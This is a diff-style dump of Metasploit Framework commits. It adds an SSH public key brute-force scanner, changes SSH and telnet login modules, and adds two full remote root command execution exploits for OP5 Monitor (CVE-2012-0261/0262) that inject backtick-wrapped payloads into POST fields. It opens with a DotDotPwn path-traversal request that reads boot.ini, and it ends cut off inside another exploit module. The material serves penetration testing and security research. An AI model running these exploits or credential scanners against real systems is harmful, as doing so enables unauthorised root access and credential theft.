User-Agent: DotDotPwn v2.1 <-- yup, awesome tool
|
||||||
|
Connection: close
|
||||||
|
Accept: */*
|
||||||
|
Host: 10.0.1.55:8000
|
||||||
|
|
||||||
|
HTTP/1.1 200 OK
|
||||||
|
Last-Modified: Sat, 24 Sep 2011 07:12:39 GMT
|
||||||
|
Content-Length: 211
|
||||||
|
Connection: close
|
||||||
|
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
|
||||||
|
|
||||||
|
[boot loader]
|
||||||
|
timeout=30
|
||||||
|
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
|
||||||
|
[operating systems]
|
||||||
|
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn
|
||||||
|
|
||||||
|
$ nc 10.0.1.55 8000
|
||||||
|
OPTIONS / HTTP/1.0
|
||||||
|
|
||||||
|
HTTP/1.1 405 Method Not Allowed
|
||||||
|
Allow: GET
|
||||||
|
Content-Length: 0
|
||||||
|
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
|
||||||
|
=end
|
|
@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
:sname => 'HTTP',
|
:sname => 'HTTP',
|
||||||
:port => rport,
|
:port => rport,
|
||||||
:type => wdtype,
|
:type => wdtype,
|
||||||
:data => 'enabled'
|
:data => datastore['PATH']
|
||||||
})
|
})
|
||||||
|
|
||||||
else
|
else
|
||||||
|
|
|
@ -0,0 +1,333 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'net/ssh'
|
||||||
|
require 'sshkey' # TODO: Actually include this!
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::AuthBrute
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'SSH Public Key Acceptance Scanner',
|
||||||
|
'Description' => %q{
|
||||||
|
This module can determine what public keys are configured for
|
||||||
|
key-based authentication across a range of machines, users, and
|
||||||
|
sets of known keys. The SSH protocol indicates whether a particular
|
||||||
|
key is accepted prior to the client performing the actual signed
|
||||||
|
authentication request. To use this module, a text file containing
|
||||||
|
one or more SSH keys should be provided. These can be private or
|
||||||
|
public, so long as no passphrase is set on the private keys.
|
||||||
|
|
||||||
|
If you have loaded a database plugin and connected to a database
|
||||||
|
this module will record authorized public keys and hosts so you can
|
||||||
|
track your process.
|
||||||
|
|
||||||
|
|
||||||
|
Key files may be a single public (unencrypted) key, or several public
|
||||||
|
keys concatenated together as an ASCII text file. Non-key data should be
|
||||||
|
silently ignored. Private keys will only utilize the public key component
|
||||||
|
stored within the key file.
|
||||||
|
},
|
||||||
|
'Author' => ['todb', 'hdm'],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(22),
|
||||||
|
OptPath.new('KEY_FILE', [false, 'Filename of one or several cleartext public keys.'])
|
||||||
|
], self.class
|
||||||
|
)
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
||||||
|
OptBool.new('SSH_BYPASS', [ false, 'Verify that authentication was not bypassed when keys are found', false]),
|
||||||
|
OptString.new('SSH_KEYFILE_B64', [false, 'Raw data of an unencrypted SSH public key. This should be used by programmatic interfaces to this module only.', '']),
|
||||||
|
OptPath.new('KEY_DIR', [false, 'Directory of several keys. Filenames must not begin with a dot in order to be read.'])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
deregister_options('RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS')
|
||||||
|
|
||||||
|
@good_credentials = {}
|
||||||
|
@good_key = ''
|
||||||
|
@strip_passwords = true
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def key_dir
|
||||||
|
datastore['KEY_DIR']
|
||||||
|
end
|
||||||
|
|
||||||
|
def rport
|
||||||
|
datastore['RPORT']
|
||||||
|
end
|
||||||
|
|
||||||
|
def ip
|
||||||
|
datastore['RHOST']
|
||||||
|
end
|
||||||
|
|
||||||
|
def read_keyfile(file)
|
||||||
|
if file == :keyfile_b64
|
||||||
|
keyfile = datastore['SSH_KEYFILE_B64'].unpack("m*").first
|
||||||
|
elsif file.kind_of? Array
|
||||||
|
keyfile = ''
|
||||||
|
file.each do |dir_entry|
|
||||||
|
next unless ::File.readable? dir_entry
|
||||||
|
keyfile << ::File.open(dir_entry, "rb") {|f| f.read(f.stat.size)}
|
||||||
|
end
|
||||||
|
else
|
||||||
|
keyfile = ::File.open(file, "rb") {|f| f.read(f.stat.size)}
|
||||||
|
end
|
||||||
|
keys = []
|
||||||
|
this_key = []
|
||||||
|
in_key = false
|
||||||
|
keyfile.split("\n").each do |line|
|
||||||
|
if line =~ /ssh-(dss|rsa)\s+/
|
||||||
|
keys << line
|
||||||
|
next
|
||||||
|
end
|
||||||
|
in_key = true if(line =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----/)
|
||||||
|
this_key << line if in_key
|
||||||
|
if(line =~ /^-----END [RD]SA (PRIVATE|PUBLIC) KEY-----/)
|
||||||
|
in_key = false
|
||||||
|
keys << (this_key.join("\n") + "\n")
|
||||||
|
this_key = []
|
||||||
|
end
|
||||||
|
end
|
||||||
|
if keys.empty?
|
||||||
|
print_error "#{ip}:#{rport} SSH - No valid keys found"
|
||||||
|
end
|
||||||
|
return validate_keys(keys)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Validates that the key isn't total garbage, and converts PEM formatted
|
||||||
|
# keys to SSH formatted keys.
|
||||||
|
def validate_keys(keys)
|
||||||
|
keepers = []
|
||||||
|
keys.each do |key|
|
||||||
|
if key =~ /ssh-(dss|rsa)/
|
||||||
|
keepers << key
|
||||||
|
next
|
||||||
|
else # Use the mighty SSHKey library from James Miller to convert them on the fly.
|
||||||
|
ssh_version = SSHKey.new(key).ssh_public_key rescue nil
|
||||||
|
keepers << ssh_version if ssh_version
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
# Needs a beginning
|
||||||
|
next unless key =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a/m
|
||||||
|
# Needs an end
|
||||||
|
next unless key =~ /\n-----END [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a?$/m
|
||||||
|
# Shouldn't have binary.
|
||||||
|
next unless key.scan(/[\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff]/).empty?
|
||||||
|
# Add more tests to taste.
|
||||||
|
keepers << key
|
||||||
|
end
|
||||||
|
if keepers.empty?
|
||||||
|
print_error "#{ip}:#{rport} SSH - No valid keys found"
|
||||||
|
end
|
||||||
|
return keepers.uniq
|
||||||
|
end
|
||||||
|
|
||||||
|
def pull_cleartext_keys(keys)
|
||||||
|
cleartext_keys = []
|
||||||
|
keys.each do |key|
|
||||||
|
next unless key
|
||||||
|
next if key =~ /Proc-Type:.*ENCRYPTED/
|
||||||
|
this_key = key.gsub(/\x0d/,"")
|
||||||
|
next if cleartext_keys.include? this_key
|
||||||
|
cleartext_keys << this_key
|
||||||
|
end
|
||||||
|
if cleartext_keys.empty?
|
||||||
|
print_error "#{ip}:#{rport} SSH - No valid cleartext keys found"
|
||||||
|
end
|
||||||
|
return cleartext_keys
|
||||||
|
end
|
||||||
|
|
||||||
|
def do_login(ip, port, user)
|
||||||
|
|
||||||
|
if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE'])
|
||||||
|
keys = read_keyfile(datastore['KEY_FILE'])
|
||||||
|
@keyfile_path = datastore['KEY_FILE'].dup
|
||||||
|
cleartext_keys = pull_cleartext_keys(keys)
|
||||||
|
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
|
||||||
|
elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty?
|
||||||
|
keys = read_keyfile(:keyfile_b64)
|
||||||
|
cleartext_keys = pull_cleartext_keys(keys)
|
||||||
|
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)."
|
||||||
|
elsif datastore['KEY_DIR']
|
||||||
|
@keyfile_path = datastore['KEY_DIR'].dup
|
||||||
|
return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir))
|
||||||
|
unless @key_files
|
||||||
|
@key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/}
|
||||||
|
end
|
||||||
|
these_keys = @key_files.map {|f| File.join(key_dir,f)}
|
||||||
|
keys = read_keyfile(these_keys)
|
||||||
|
cleartext_keys = pull_cleartext_keys(keys)
|
||||||
|
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
|
||||||
|
else
|
||||||
|
return :missing_keyfile
|
||||||
|
end
|
||||||
|
|
||||||
|
unless @alerted_with_msg
|
||||||
|
print_status msg
|
||||||
|
@alerted_with_msg = true
|
||||||
|
end
|
||||||
|
|
||||||
|
cleartext_keys.each_with_index do |key_data,key_idx|
|
||||||
|
key_info = ""
|
||||||
|
|
||||||
|
if key_data =~ /ssh\-(rsa|dss)\s+([^\s]+)\s+(.*)/
|
||||||
|
key_info = "- #{$3.strip}"
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
accepted = []
|
||||||
|
opt_hash = {
|
||||||
|
:auth_methods => ['publickey'],
|
||||||
|
:msframework => framework,
|
||||||
|
:msfmodule => self,
|
||||||
|
:port => port,
|
||||||
|
:key_data => key_data,
|
||||||
|
:disable_agent => true,
|
||||||
|
:record_auth_info => true,
|
||||||
|
:skip_private_keys => true,
|
||||||
|
:accepted_key_callback => Proc.new {|key| accepted << key }
|
||||||
|
}
|
||||||
|
|
||||||
|
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||||
|
|
||||||
|
begin
|
||||||
|
ssh_socket = Net::SSH.start(ip, user, opt_hash)
|
||||||
|
|
||||||
|
if datastore['SSH_BYPASS']
|
||||||
|
data = nil
|
||||||
|
|
||||||
|
print_status("#{ip}:#{rport} - SSH - User #{user} is being tested for authentication bypass...")
|
||||||
|
|
||||||
|
begin
|
||||||
|
::Timeout.timeout(5) { data = ssh_socket.exec!("help\nid\nuname -a").to_s }
|
||||||
|
rescue ::Exception
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("#{ip}:#{rport} - SSH - User #{user} successfully bypassed authentication: #{data.inspect} ") if data
|
||||||
|
end
|
||||||
|
|
||||||
|
::Timeout.timeout(1) { ssh_socket.close } rescue nil
|
||||||
|
|
||||||
|
rescue Rex::ConnectionError, Rex::AddressInUse
|
||||||
|
return :connection_error
|
||||||
|
rescue Net::SSH::Disconnect, ::EOFError
|
||||||
|
return :connection_disconnect
|
||||||
|
rescue Net::SSH::AuthenticationFailed
|
||||||
|
rescue Net::SSH::Exception => e
|
||||||
|
return [:fail,nil] # For whatever reason.
|
||||||
|
end
|
||||||
|
|
||||||
|
if accepted.length == 0
|
||||||
|
if @key_files
|
||||||
|
vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}"
|
||||||
|
else
|
||||||
|
vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{key_idx+1} #{key_info}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
accepted.each do |key|
|
||||||
|
print_good "#{ip}:#{rport} SSH - Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}"
|
||||||
|
do_report(ip, rport, user, key, key_data)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def do_report(ip, port, user, key, key_data)
|
||||||
|
return unless framework.db.active
|
||||||
|
store_keyfile_b64_loot(ip,user,key[:fingerprint])
|
||||||
|
cred_hash = {
|
||||||
|
:host => ip,
|
||||||
|
:port => rport,
|
||||||
|
:sname => 'ssh',
|
||||||
|
:user => user,
|
||||||
|
:pass => @keyfile_path,
|
||||||
|
:source_type => "user_supplied",
|
||||||
|
:type => 'ssh_pubkey',
|
||||||
|
:proof => "KEY=#{key[:fingerprint]}",
|
||||||
|
:duplicate_ok => true,
|
||||||
|
:active => true
|
||||||
|
}
|
||||||
|
this_cred = report_auth_info(cred_hash)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Checks if any existing privkeys matches the named key's
|
||||||
|
# key id. If so, assign that other key's cred.id to this
|
||||||
|
# one's proof section, and vice-versa.
|
||||||
|
def cross_check_privkeys(key_id)
|
||||||
|
return unless framework.db.active
|
||||||
|
other_cred = nil
|
||||||
|
framework.db.creds.each do |cred|
|
||||||
|
next unless cred.ptype == "ssh_key"
|
||||||
|
next unless cred.proof =~ /#{key_id}/
|
||||||
|
other_cred = cred
|
||||||
|
break
|
||||||
|
end
|
||||||
|
return other_cred
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sometimes all we have is a SSH_KEYFILE_B64 string. If it's
|
||||||
|
# good, then store it as loot for this user@host, unless we
|
||||||
|
# already have it in loot.
|
||||||
|
def store_keyfile_b64_loot(ip,user,key_id)
|
||||||
|
return unless db
|
||||||
|
return if @keyfile_path
|
||||||
|
return if datastore["SSH_KEYFILE_B64"].to_s.empty?
|
||||||
|
keyfile = datastore["SSH_KEYFILE_B64"].unpack("m*").first
|
||||||
|
keyfile = keyfile.strip + "\n"
|
||||||
|
ktype_match = keyfile.match(/ssh-(rsa|dss)/)
|
||||||
|
return unless ktype_match
|
||||||
|
ktype = ktype_match[1].downcase
|
||||||
|
ktype = "dsa" if ktype == "dss" # Seems sensible to recast it
|
||||||
|
ltype = "host.unix.ssh.#{user}_#{ktype}_public"
|
||||||
|
# Assignment and comparison here, watch out!
|
||||||
|
if loot = Msf::DBManager::Loot.find_by_ltype_and_workspace_id(ltype,myworkspace.id)
|
||||||
|
if loot.info.include? key_id
|
||||||
|
@keyfile_path = loot.path
|
||||||
|
end
|
||||||
|
end
|
||||||
|
@keyfile_path ||= store_loot(ltype, "application/octet-stream", ip, keyfile.strip, nil, key_id)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
# Since SSH collects keys and tries them all on one authentication session, it doesn't
|
||||||
|
# make sense to iteratively go through all the keys individually. So, ignore the pass variable,
|
||||||
|
# and try all available keys for all users.
|
||||||
|
each_user_pass do |user,pass|
|
||||||
|
ret, proof = do_login(ip, rport, user)
|
||||||
|
case ret
|
||||||
|
when :connection_error
|
||||||
|
vprint_error "#{ip}:#{rport} - SSH - Could not connect"
|
||||||
|
:abort
|
||||||
|
when :connection_disconnect
|
||||||
|
vprint_error "#{ip}:#{rport} - SSH - Connection timed out"
|
||||||
|
:abort
|
||||||
|
when :fail
|
||||||
|
vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'"
|
||||||
|
when :missing_keyfile
|
||||||
|
vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile"
|
||||||
|
when :no_valid_keys
|
||||||
|
vprint_error "#{ip}:#{rport} - SSH - No readable keys in keyfile"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
|
@ -63,11 +63,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def do_login(ip,user,pass,port)
|
def do_login(ip,user,pass,port)
|
||||||
opt_hash = {
|
opt_hash = {
|
||||||
:auth_methods => ['password','keyboard-interactive'],
|
:auth_methods => ['password','keyboard-interactive'],
|
||||||
:msframework => framework,
|
:msframework => framework,
|
||||||
:msfmodule => self,
|
:msfmodule => self,
|
||||||
:port => port,
|
:port => port,
|
||||||
:password => pass
|
:disable_agent => true,
|
||||||
|
:password => pass
|
||||||
}
|
}
|
||||||
|
|
||||||
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||||
|
|
|
@ -178,6 +178,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
:msfmodule => self,
|
:msfmodule => self,
|
||||||
:port => port,
|
:port => port,
|
||||||
:key_data => key_data,
|
:key_data => key_data,
|
||||||
|
:disable_agent => true,
|
||||||
:record_auth_info => true
|
:record_auth_info => true
|
||||||
}
|
}
|
||||||
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||||
|
@ -247,8 +248,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def do_report(ip,user,port,proof)
|
def do_report(ip,user,port,proof)
|
||||||
|
return unless framework.db.active
|
||||||
store_keyfile_b64_loot(ip,user,self.good_key)
|
store_keyfile_b64_loot(ip,user,self.good_key)
|
||||||
report_auth_info(
|
cred_hash = {
|
||||||
:host => ip,
|
:host => ip,
|
||||||
:port => datastore['RPORT'],
|
:port => datastore['RPORT'],
|
||||||
:sname => 'ssh',
|
:sname => 'ssh',
|
||||||
|
@ -257,7 +259,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
:type => "ssh_key",
|
:type => "ssh_key",
|
||||||
:proof => "KEY=#{self.good_key}, PROOF=#{proof}",
|
:proof => "KEY=#{self.good_key}, PROOF=#{proof}",
|
||||||
:active => true
|
:active => true
|
||||||
)
|
}
|
||||||
|
this_cred = report_auth_info(cred_hash)
|
||||||
end
|
end
|
||||||
|
|
||||||
# Sometimes all we have is a SSH_KEYFILE_B64 string. If it's
|
# Sometimes all we have is a SSH_KEYFILE_B64 string. If it's
|
||||||
|
|
|
@ -66,7 +66,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
begin
|
begin
|
||||||
each_user_pass do |user, pass|
|
each_user_pass do |user, pass|
|
||||||
Timeout.timeout(overall_timeout) do
|
Timeout.timeout(overall_timeout) do
|
||||||
try_user_pass(user, pass)
|
res = try_user_pass(user, pass)
|
||||||
|
start_telnet_session(rhost,rport,user,pass) if res == :next_user
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
rescue ::Rex::ConnectionError, ::EOFError, ::Timeout::Error
|
rescue ::Rex::ConnectionError, ::EOFError, ::Timeout::Error
|
||||||
|
@ -112,11 +113,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
report_telnet(user,pass,@trace)
|
report_telnet(user,pass,@trace)
|
||||||
else
|
return :next_user
|
||||||
if login_succeeded?
|
|
||||||
start_telnet_session(rhost,rport,user,pass)
|
|
||||||
return :next_user
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -237,6 +234,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def start_telnet_session(host, port, user, pass)
|
def start_telnet_session(host, port, user, pass)
|
||||||
|
print_status "Attempting to start session #{host}:#{port} with #{user}:#{pass}"
|
||||||
merge_me = {
|
merge_me = {
|
||||||
'USERPASS_FILE' => nil,
|
'USERPASS_FILE' => nil,
|
||||||
'USER_FILE' => nil,
|
'USER_FILE' => nil,
|
||||||
|
|
|
@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
connect
|
connect
|
||||||
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
|
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
|
||||||
print_status(banner_sanitized) if datastore['VERBOSE']
|
vprint_status(banner_sanitized)
|
||||||
|
|
||||||
enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
|
enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
|
||||||
enc_keyid = "\xff\xfa\x26\x07"
|
enc_keyid = "\xff\xfa\x26\x07"
|
||||||
|
|
|
@ -0,0 +1,108 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'OP5 license.php Remote Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an arbitrary root command execution vulnerability in the
|
||||||
|
OP5 Monitor license.php. Ekelöw has confirmed that OP5 Monitor versions 5.3.5,
|
||||||
|
5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
|
||||||
|
},
|
||||||
|
'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2012-0261'],
|
||||||
|
['OSVDB', '78064'],
|
||||||
|
['URL', 'http://www.ekelow.se/file_uploads/Advisories/ekelow-aid-2012-01.pdf'],
|
||||||
|
['URL', 'http://www.op5.com/news/support-news/fixed-vulnerabilities-op5-monitor-op5-appliance/'],
|
||||||
|
['URL', 'http://secunia.com/advisories/47417/'],
|
||||||
|
],
|
||||||
|
'Privileged' => true,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true,
|
||||||
|
'Space' => 1024,
|
||||||
|
'BadChars' => '`\\|',
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'perl ruby',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Targets' => [[ 'Automatic', { }]],
|
||||||
|
'DisclosureDate' => 'Jan 05 2012',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(443),
|
||||||
|
OptString.new('URI', [true, "The full URI path to license.php", "/license.php"]),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
print_status("Attempting to detect if the OP5 Monitor is vulnerable...")
|
||||||
|
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
|
||||||
|
|
||||||
|
# Try running/timing 'ping localhost' to determine is system is vulnerable
|
||||||
|
start = Time.now
|
||||||
|
|
||||||
|
data = 'timestamp=1317050333`ping -c 10 127.0.0.1`&action=install&install=Install';
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => datastore['URI'],
|
||||||
|
'method' => 'POST',
|
||||||
|
'proto' => 'HTTPS',
|
||||||
|
'data' => data,
|
||||||
|
'headers' =>
|
||||||
|
{
|
||||||
|
'Connection' => 'close',
|
||||||
|
}
|
||||||
|
}, 25)
|
||||||
|
elapsed = Time.now - start
|
||||||
|
if elapsed >= 5
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
|
||||||
|
|
||||||
|
data = 'timestamp=1317050333`' + payload.encoded + '`&action=install&install=Install';
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => datastore['URI'],
|
||||||
|
'method' => 'POST',
|
||||||
|
'proto' => 'HTTPS',
|
||||||
|
'data' => data,
|
||||||
|
'headers' =>
|
||||||
|
{
|
||||||
|
'Connection' => 'close',
|
||||||
|
}
|
||||||
|
}, 25)
|
||||||
|
|
||||||
|
if(not res)
|
||||||
|
if session_created?
|
||||||
|
print_status("Session created, enjoy!")
|
||||||
|
else
|
||||||
|
print_error("No response from the server")
|
||||||
|
end
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,108 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'OP5 welcome Remote Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an arbitrary root command execution vulnerability in
|
||||||
|
OP5 Monitor welcome. Ekelow AB has confirmed that OP5 Monitor versions 5.3.5,
|
||||||
|
5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
|
||||||
|
},
|
||||||
|
'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2012-0262'],
|
||||||
|
['OSVDB', '78065'],
|
||||||
|
['URL', 'http://www.ekelow.se/file_uploads/Advisories/ekelow-aid-2012-01.pdf'],
|
||||||
|
['URL', 'http://www.op5.com/news/support-news/fixed-vulnerabilities-op5-monitor-op5-appliance/'],
|
||||||
|
['URL', 'http://secunia.com/advisories/47417/'],
|
||||||
|
],
|
||||||
|
'Privileged' => true,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true,
|
||||||
|
'Space' => 1024,
|
||||||
|
'BadChars' => '`\\|',
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'perl ruby',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Platform' => [ 'unix', 'linux' ],
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Targets' => [[ 'Automatic', { }]],
|
||||||
|
'DisclosureDate' => 'Jan 05 2012',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(443),
|
||||||
|
OptString.new('URI', [true, "The full URI path to /op5config/welcome", "/op5config/welcome"]),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
print_status("Attempting to detect if the OP5 Monitor is vulnerable...")
|
||||||
|
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
|
||||||
|
|
||||||
|
# Try running/timing 'ping localhost' to determine is system is vulnerable
|
||||||
|
start = Time.now
|
||||||
|
|
||||||
|
data = 'do=do=Login&password=`ping -c 10 127.0.0.1`';
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => datastore['URI'],
|
||||||
|
'method' => 'POST',
|
||||||
|
'proto' => 'HTTPS',
|
||||||
|
'data' => data,
|
||||||
|
'headers' =>
|
||||||
|
{
|
||||||
|
'Connection' => 'close',
|
||||||
|
}
|
||||||
|
}, 25)
|
||||||
|
elapsed = Time.now - start
|
||||||
|
if elapsed >= 5
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
|
||||||
|
|
||||||
|
data = 'do=do=Login&password=`' + payload.encoded + '`';
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => datastore['URI'],
|
||||||
|
'method' => 'POST',
|
||||||
|
'proto' => 'HTTPS',
|
||||||
|
'data' => data,
|
||||||
|
'headers' =>
|
||||||
|
{
|
||||||
|
'Connection' => 'close',
|
||||||
|
}
|
||||||
|
}, 10)
|
||||||
|
|
||||||
|
if(not res)
|
||||||
|
if session_created?
|
||||||
|
print_status("Session created, enjoy!")
|
||||||
|
else
|
||||||
|
print_error("No response from the server")
|
||||||
|
end
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,91 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
|
||||||
|
